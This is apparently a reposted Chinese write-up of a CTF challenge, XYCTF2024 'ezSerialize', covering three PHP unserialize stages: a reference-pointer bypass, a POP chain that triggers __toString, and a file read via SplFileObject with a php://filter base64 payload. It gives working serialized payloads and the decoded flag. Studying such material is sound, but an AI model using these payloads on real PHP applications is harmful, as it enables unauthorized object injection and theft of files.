当前位置: 首页 > article >正文

XYCTF2024 ezSerialize WP

#php反序列化指针引用绕过 #利用if的条件触发tostring

第一关

<?php
include 'flag.php';
highlight_file(__FILE__);
error_reporting(0);

  
class Flag {
    public $token;
    public $password;

  
    public function __construct($a, $b)
    {
        $this->token = $a;
        $this->password = $b;
    }

  
    public function login()
    {
        return $this->token === $this->password;
    }
}

  
if (isset($_GET['pop'])) {
    $pop = unserialize($_GET['pop']);
    $pop->token=md5(mt_rand());
    if($pop->login()) {
        echo $flag;
    }
}


?>

可以看到,明显要打造pop链

用同地址变量(引用)绕过

这样打造出来的 序列化结果 会带R 这带来的效果是会让password的值引用token的值,而不是我们来直接赋值

[[反序列化绕过总结]] 中的指针引用绕过

exp:

$a = new Flag('admin', 'admin');

$a -> password = &$a -> token;

echo serialize($a);

请添加图片描述

访问/fpclosefpclosefpcloseffflllaaaggg.php

第二关

<?php
highlight_file(__FILE__);
class A {
    public $mack;
    public function __invoke()
    
        $this->mack->nonExistentMethod();
    }
}

  
class B {
    public $luo;
    public function __get($key){
        echo "o.O<br>";
        $function = $this->luo;
        return $function();
    }
}

  
class C {
    public $wang1;

  
    public function __call($wang1,$wang2)
    {
            include 'flag.php';
            echo $flag2;
    }
}

  
  
class D {
    public $lao;
    public $chen;
    public function __toString(){
        echo "O.o<br>";
        return is_null($this->lao->chen) ? "" : $this->lao->chen;
    }
}


class E {
    public $name = "xxxxx";
    public $num;

  
    public function __unserialize($data)
    {
        echo "<br>学到就是赚到!<br>";
        echo $data['num'];
    }
    public function __wakeup(){
        if($this->name!='' || $this->num!=''){
            echo "旅行者别忘记旅行的意义!<br>";
        }
    }
}


if (isset($_POST['pop'])) {
    unserialize($_POST['pop']);
}

[[魔术方法]]

这个tostring方法调用e学习一下:
利用if 的条件触发
payload:

$a=new E();

$b=new D();

$c=new B();

$d=new A();

$e=new C();

$d->mack=$e;

$c->luo=$d;

$b->lao=$c;

$a->name=$b;

echo serialize($a);
O:1:"E":2:{s:4:"name";O:1:"D":2:{s:3:"lao";O:1:"B":1:{s:3:"luo";O:1:"A":1:{s:4:"mack";O:1:"C":1:{s:5:"wang1";N;}}}s:4:"chen";N;}s:3:"num";N;}

访问

/saber_master_saber_master.php

第三关

#SplFileObject内置类读取文件

<?php

  

error_reporting(0);

highlight_file(__FILE__);

  

// flag.php

class XYCTFNO1

{

    public $Liu;

    public $T1ng;

    private $upsw1ng;

  

    public function __construct($Liu, $T1ng, $upsw1ng = Showmaker)

    {

        $this->Liu = $Liu;

        $this->T1ng = $T1ng;

        $this->upsw1ng = $upsw1ng;

    }

}

  

class XYCTFNO2

{

    public $crypto0;

    public $adwa;

  

    public function __construct($crypto0, $adwa)

    {

        $this->crypto0 = $crypto0;

    }

  

    public function XYCTF()

    {

        if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {

            return False;

        } else {

            return True;

        }

    }

}

  

class XYCTFNO3

{

    public $KickyMu;

    public $fpclose;

    public $N1ght = "Crypto0";

  

    public function __construct($KickyMu, $fpclose)

    {

        $this->KickyMu = $KickyMu;

        $this->fpclose = $fpclose;

    }

  

    public function XY()

    {

        if ($this->N1ght == 'oSthing') {

            echo "WOW, You web is really good!!!\n";

            echo new $_POST['X']($_POST['Y']);

        }

    }

  

    public function __wakeup()

    {

        if ($this->KickyMu->XYCTF()) {

            $this->XY();

        }

    }

}

  
  

// if (isset($_GET['CTF'])) {

//     unserialize($_GET['CTF']);

// }

  
  

?>

看到crypto0和T1ng分别在两个类中,adwa不可能既是XYCTFNO2的对象又是XYCTFNO1的对象。

注意:

  • 访问链式属性(如 $this->adwa->T1ng)的前提

    1. $this->adwa 必须已被初始化为一个对象实例。

    2. 该对象实例必须有 T1ng 属性(或方法),且访问权限允许(例如 public)。

但反序列化传入的字符串它只认字符串,所以你在不同类中多造一个属性,只要符合语法,它一样不会报错。

看到这里利用的地方是实例化一个对象并输出,且提示flag.php,那么我们用SplFileObject内置类读取文件

exp:

$a = new XYCTFNO1();

$b = new XYCTFNO2();

$c = new XYCTFNO3();

  
  

$a->T1ng = 'yuroandCMD258';

$a->crypto0 = 'dev1l';

$b->adwa = $a; //将属性的值实例化为对象

$c->N1ght = 'oSthing';

$c->KickyMu = $b;

  

echo serialize($c);

测试发现,这里的私有属性会造成影响,我们在序列化的时候删除就行了

即第一个类:

class XYCTFNO1

{

    public $Liu;

    public $T1ng;

  
  

}
/saber_master_saber_master.php?CTF=O:8:"XYCTFNO3":3:{s:7:"KickyMu";O:8:"XYCTFNO2":2:{s:7:"crypto0";N;s:4:"adwa";O:8:"XYCTFNO1":3:{s:3:"Liu";N;s:4:"T1ng";s:13:"yuroandCMD258";s:7:"crypto0";s:5:"dev1l";}}s:7:"fpclose";N;s:5:"N1ght";s:7:"oSthing";}

post传

直接读读不出来,上php伪协议

X=SplFileObject&Y=php://filter/convert.base64-encode/resource=flag.php

得到
请添加图片描述

解码

<?php
$flag = "fpclosefpclosefpcloseffflllaaaggg.php";
$flag2 = "saber_master_saber_master.php";
$flag3 = "XYCTF{98887f59-23e5-4bb0-a706-b62d01fe4661}"
?>

http://www.kler.cn/a/611403.html

相关文章:

  • 信息安全的数学本质与工程实践
  • SQL中体会多对多
  • Go 语言 fmt 模块的完整方法详解及示例
  • 认识 Express.js:Node.js 最流行的 Web 框架
  • TiDB与Doris实操对比:深度剖析数据库选型要点
  • flutter-实现瀑布流布局及下拉刷新上拉加载更多
  • 外设的中断控制
  • Go 语言 sync 包使用教程
  • 内存型数据库深入解析:Memcache、Redis 与 Squid 的对比与应用
  • 数据结构二叉树进阶
  • SylixOS 中 select 原理及使用分析
  • 计算机三级信息安全技术核心知识点详细定义解析,按章节分类并重点阐述关键概念定义
  • 【加密社】如何创建自己的币圈工具站
  • 解决用户同时登录轮询获取用户信息错乱,使用WebSocket和Server-Sent Events (SSE)
  • 数据可视化TensorboardX和tensorBoard安装及使用
  • MySQL - 数据库基础操作
  • 【每日算法】Day 8-1:广度优先搜索(BFS)算法精讲——层序遍历与最短路径实战(C++实现)
  • 二十五、实战开发 uni-app x 项目(仿京东)- 前后端轮播图
  • 2025最新Chatbox全攻略:一键配置Claude/GPT/DeepSeek等主流模型(亲测可用)
  • # WebSocket 与 Socket.IO 对比与优化